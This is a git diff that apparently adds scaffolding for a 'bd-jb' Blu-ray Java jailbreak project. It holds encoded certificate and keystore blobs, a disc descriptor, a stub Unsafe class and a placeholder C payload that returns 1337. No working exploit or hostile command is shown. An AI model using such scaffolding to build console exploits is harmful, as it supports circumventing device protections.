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 + + + + bd-jb + 1 + 1 + + + + bd-jb + + + + eng + + diff --git a/disc/CERTIFICATE/app.discroot.crt b/disc/CERTIFICATE/app.discroot.crt new file mode 100644 index 0000000000000000000000000000000000000000..38fc69d398ec892026a8298eb2512f997d9cacb6 GIT binary patch literal 662 zcmXqLVwz;o#Q1vwGZP~d6N`h8k&po|8>d#AN85K^Mn+av27_2bexML@C<`+WTX0Ef zN@l*Hyn!r8fSX6mIX@+}I5RyjGcR4iCAA>2s3bQvuf$NsKnkRQi$~bW#mhNAw;(aE zQqR=P+`=+3DcO+QfD z*(a_k>s`P3&G#!6{Eun^m2y(o?acc4@>a#J<(scc2g=qTRSn(b+y4IYDtYVD3XXvA zyQP^)`xm4{U5FQ(!lJ(8?d>mb>s&K;Fu1(witA^PSC{!SDdf`4bDF;wtB0>K2#aN6 zW@KPo9BmM3zy}O7S$;;w|12!bOiV4{5SA5U5jGHPNel}#;^SJoP#YZ<5*a<)DRt`CH zIVk-1lSY?IdorKg3Y%73@n_lezOxRJWs`mdoxZl_uAYqAFOQk_g~o9cMBhzYqF`{o z&6Jn*)}^ocN2aH*^D=3F|7v<(@$A;f7Wuuu{6B7)_E4m^^@vu;(S4Hyb|eId002NT B<5d6v literal 0 HcmV?d00001 diff --git a/disc/CERTIFICATE/bu.discroot.crt b/disc/CERTIFICATE/bu.discroot.crt new file mode 100644 index 0000000000000000000000000000000000000000..786e56d52d844fcc6bbefa008a04a2c513810b1e GIT binary patch literal 663 zcmXqLVw!Bw#Q0|cGZP~d6Dz~qZH1`@ylk9WZ60mkc^Mg5Ss4ss4f%mW%%LpIJZ!-w zr74;DhVlloAOUV3G3Wf0)Z)zayv)3G1((!<#G;bi)VvZy83QSh0xlk5Cl@d0{M>@X zyh=S&Gjj{e#H3_HZUat`EE^9~Xt05j1iyiSfuVsB5E>d97+6M0@LK`_h-+X0lro5- zwG$fWBm0?=m4Ugjm%*U1lc}+hVWuk6$8AjJH+U!ai|(#;>3qn=-Jo)1wF8s0UcxKs z|28?iU;GbFigce{{^;lwgD|6wJR9%#-*Z&gYfCF=jubl{pDzC@jbo-p(c}V_)`-k0 z+YHRpg-x#-{!MzhsY5Bfw<@$$LFBZsovOLvlmgN6` zj}`M*FIhCp*lXns^Zx3u+|uh76_?Kx)NxIh+;vIFVf)@WZv9-%f^AIK4W;J?u6wmo zy{_$3vi4n`>9@1KL~Uu+un<@6F1VhSW8}WF!er((V^+8A^QXRN+&cfGq3=310N(uA Ap8x;= literal 0 HcmV?d00001 diff --git a/jdk/internal/misc/Unsafe.java b/jdk/internal/misc/Unsafe.java new file mode 100644 index 0000000..3413683 --- /dev/null +++ b/jdk/internal/misc/Unsafe.java @@ -0,0 +1,49 @@ +package jdk.internal.misc; + +import java.lang.reflect.Field; + +public class Unsafe { + public byte getByte(long address) { + return 42; + } + + public short getShort(long address) { + return 42; + } + + public int getInt(long address) { + return 42; + } + + public long getLong(long address) { + return 42; + } + + public long getLong(Object o, long offset) { + return 42; + } + + public void putByte(long address, byte x) {} + + public void putShort(long address, short x) {} + + public void putInt(long address, int x) {} + + public void putLong(long address, long x) {} + + public void putObject(Object o, long offset, Object x) {} + + public long objectFieldOffset(Field f) { + return 42; + } + + public long allocateMemory(long bytes) { + return 42; + } + + public long reallocateMemory(long address, long bytes) { + return 42; + } + + public void freeMemory(long address) {} +} diff --git a/keystore.store b/keystore.store new file mode 100644 index 0000000000000000000000000000000000000000..b090de5587623c246c7ada1e7d12b1a476cdf152 GIT binary patch literal 4895 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 Y +#include +#include + +int payload(int (* sceKernelDlsym)(int handle, const char *symbol, uintptr_t *address)) { + return 1337; +} diff --git a/payload/start.S b/payload/start.S new file mode 100644 index 0000000..6a46dd9 --- /dev/null +++ b/payload/start.S @@ -0,0 +1,2 @@ +_start: + jmp payload